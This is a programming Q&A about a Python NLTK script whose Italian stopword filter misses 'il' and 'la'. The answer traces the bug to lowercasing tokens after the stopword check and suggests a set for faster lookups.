Can't avoid stop words in tokens list - python-3.x

Question

I'm normalizing text from wiki and one if the task is to delete stopwords(item) from text tokens. But I can't do it, to be more exact, I can't avoid some of the items.
Code:
# coding: utf8
import os
from nltk import corpus, word_tokenize, FreqDist, ConditionalFreqDist
import win_unicode_console
win_unicode_console.enable()
stop_words_plus = ['il', 'la']
text_tags = ['doc', 'https', 'br', 'clear', 'all']
it_sw = corpus.stopwords.words('italian') + text_tags + stop_words_plus
it_path = os.listdir('C:\\Users\\1\\projects\\i')
lom_path = 'C:\\Users\\1\\projects\\l'
it_corpora = []
lom_corpora = []
def normalize(raw_text):
tokens = word_tokenize(raw_text)
norm_tokens = []
for token in tokens:
if token not in it_sw and token.isalpha() and len(token) > 1:
token = token.lower()
norm_tokens.append(token)
return norm_tokens
for folder_name in it_path:
path_to_files = 'C:\\Users\\1\\projects\\i\\%s' % (folder_name)
files_list = os.listdir(path_to_files)
for file_name in files_list:
file_path = path_to_files + '\\' + file_name
text_file = open(file_path, encoding='utf8')
raw_text = text_file.read()
norm_tokens = normalize(raw_text)
it_corpora += norm_tokens
print(FreqDist(it_corpora).most_common(10))
Output:
[('anni', 1140), ('il', 657), ('la', 523), ('gli', 287), ('parte', 276), ('stato', 276), ('due', 269), ('citta', 254), (
'nel', 248), ('decennio', 242)]
As you can see, I need to avoid words 'il' and 'la', I add them to list(it_sw) and there they are(I've checked). Then I in the func normalize I try to avoid them by `if token not in it_sw, but it doesn't work and I have no idea what's wrong.

Answer 1

You convert your token to lower case after finding that it is not in it_sw. Is it possible that some of your tokens have upper case characters? In this case you could adjust your for loop slightly:
for token in tokens:
token = token.lower()
if token not in it_sw and token.isalpha() and len(token) > 1:
norm_tokens.append(token)
By the way, I'm not sure if the performance of your code is important, but if it is you might get much better performance by checking for the presence of the tokens in a set instead of a list, just change your definition of it_sw to:
it_sw = set(corpus.stopwords.words('italian') + text_tags + stop_words_plus)
You could also change it_corpora into a set, but that would require a few more small changes.